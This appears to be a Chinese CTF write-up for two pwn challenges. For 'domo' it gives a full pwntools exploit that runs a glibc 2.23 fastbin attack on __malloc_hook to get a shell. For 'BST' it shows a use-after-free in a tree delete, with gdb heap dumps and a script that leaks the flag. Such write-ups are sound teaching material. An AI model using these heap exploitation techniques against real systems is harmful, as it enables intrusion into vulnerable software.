PWN

domo

思路

挺简单的一道pwn题,具有add、delete、show功能,同时可以任意地址写一字节。

题目环境是libc2.23的,所以利用方式比较简单。

首先通过fastbin和unsortbin来leak libc和heap。

然后申请4个chunk,在申请第二个chunk的时候顺便将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清0,free掉第三个chunk,就可以实现chunk extended。接着重新申请就可以得到两个同时指向chunk2的指针,然后就是fastbin attack那些操作了。。。

最后getshell的话是利用scanf输入较大数据的时候会malloc(这一机制也会触发malloc_consolidate机制,具体可以在网上找找文章,这里没用到就不详细讲了),已经就可以绕过后面seccomp的防护以及对堆操作的检查。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = process("./domo")
p = remote("node3.buuoj.cn","26472")
libc = ELF("./domo").libc
def add(size,data):
p.recvuntil("5: Exit")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(data)
def free(index):
p.recvuntil("5: Exit")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(index))
def show(index):
p.recvuntil("5: Exit")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(index))
def edit(addr,byte):
p.recvuntil("5: Exit")
p.sendline("4")
p.recvuntil("addr:")
p.sendline(str(addr))
p.recvuntil("num:")
p.sendline(byte)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0xf0,'aaaa')#0
add(0xf0,'aaaa')#1
free(0)
add(0xf0,'\n')#0
show(0)
p.recvline()
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A
print hex(libc.address)
free(0)
free(1)
add(0x60,'aaaa')#0
add(0x60,'aaaa')#1
add(0xf0,'aaaa')#2
free(1)
free(0)
add(0x60,'\n')
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00') -0xa
print hex(heap)
free(0)
free(2)
add(0xf8,'aaaa')#0
add(0xf2,'a'*0xf0+'\x00\x02')#1
add(0xf0,'aaaa')#2
free(0)
edit(heap+0x218,'\x00')
free(2)
add(0xf0,'aaaa')#0
add(0x68,'aaaa')#2
add(0x68,'aaaa')#3
add(0xf0,'aaaa')#4
free(1)
free(3)
free(2)
add(0x60,p64(libc.sym['__malloc_hook']-0x23))#1
add(0x60,'aaaa')#2
add(0x60,'aaaa')#3

add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6))#3
print hex(libc.sym['__realloc_hook'])
#gdb.attach(p,'b malloc')
p.recvuntil("5: Exit")
p.sendline("1 "+'1'*0x400)
p.interactive()

BST

思路

这道题分析了好久,最后出来好像是非预期。。。

因为不太懂c++,所以是直接在gdb下一步一步调试出功能的,主要就是一个0x30大小的结构体(数据类型。。。呃。。随便就好):

1
2
3
4
5
6
7
8
struct bst{
int64_t idx;
int64_t size;
int64_t *data_ptr;
int64_t *left_node;
int64_t *right_node;
int64_t *parent_node;
}

然后在尝试申请5->3->4->2后,free节点3(即同时存在左右节点和父节点)的时候,发现存在uaf漏洞:

free前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
节点5
0x55bccacf5d10: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5d20: 0x00000005 0x00000000 0x00000068 0x00000000
0x55bccacf5d30: 0xcacf5d60 0x000055bc 0xcacf5e60 0x000055bc
0x55bccacf5d40: 0x00000000 0x00000000 0x00000000 0x00000000
节点3
0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5e60: 0x00000003 0x00000000 0x00000028 0x00000000
0x55bccacf5e70: 0xcacf5ea0 0x000055bc 0xcacf5e20 0x000055bc
0x55bccacf5e80: 0xcacf5de0 0x000055bc 0xcacf5d20 0x000055bc
节点4
0x55bccacf5dd0: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5de0: 0x00000004 0x00000000 0x00000068 0x00000000
0x55bccacf5df0: 0xcacf5ee0 0x000055bc 0x00000000 0x00000000
0x55bccacf5e00: 0x00000000 0x00000000 0xcacf5e60 0x000055bc
节点2
0x55bccacf5e10: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5e20: 0x00000002 0x00000000 0x00000068 0x00000000
0x55bccacf5e30: 0xcacf5f60 0x000055bc 0x00000000 0x00000000
0x55bccacf5e40: 0x00000000 0x00000000 0xcacf5e60 0x000055bc

free后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
节点5
0x55bccacf5d10: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5d20: 0x00000005 0x00000000 0x00000068 0x00000000
0x55bccacf5d30: 0xcacf5d60 0x000055bc 0xcacf5e60 0x000055bc
0x55bccacf5d40: 0x00000000 0x00000000 0x00000000 0x00000000
节点4
0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5e60: 0x00000004 0x00000000 0x00000068 0x00000000
0x55bccacf5e70: 0xcacf5fe0 0x000055bc 0xcacf5e20 0x000055bc
0x55bccacf5e80: 0xcacf5de0 0x000055bc 0xcacf5d20 0x000055bc
节点2
0x55bccacf5e10: 0x00000000 0x00000000 0x00000041 0x00000000
0x55bccacf5e20: 0x00000002 0x00000000 0x00000068 0x00000000
0x55bccacf5e30: 0xcacf5f60 0x000055bc 0x00000000 0x00000000
0x55bccacf5e40: 0x00000000 0x00000000 0xcacf5e60 0x000055bc
0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000

可以明显看到节点4中的右节点指针指向heap+0xde0,而这个地址并不在我们的现有节点中,查看下bins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55bccacf5dd0 —▸ 0x55bccacf5e90 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x55bccacf5ed0 —▸ 0x55bccacf5c10 —▸ 0x55bccacf5c90 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

可以看到这个是一个被free后指针,所以我们可以通过构造申请从而像其中写入flag的地址,然后打印就可以了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'
p = process("./BST")
#p = remote("node3.buuoj.cn","26420")
def show():
p.recvuntil("4.updata_______")
p.sendline("1")
def add(index,size,data):
p.recvuntil("4.updata_______")
p.sendline("2")
p.recvuntil("id:")
p.sendline(str(index))
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content")
p.send(data)
def free(index):
p.recvuntil("4.updata_______")
p.sendline("3")
p.recvuntil("id:")
p.sendline(str(index))
add(5,0x68,'1'*4)
add(3,0x28,'2'*4)
add(4,0x68,'3'*4)
add(2,0x68,'4'*4)
gdb.attach(p, 'b *$rebase(0x1789)')
free(3)
add(3,0x28,p64(20)+p64(0x30)+p64(0x66666000))
show()
p.interactive()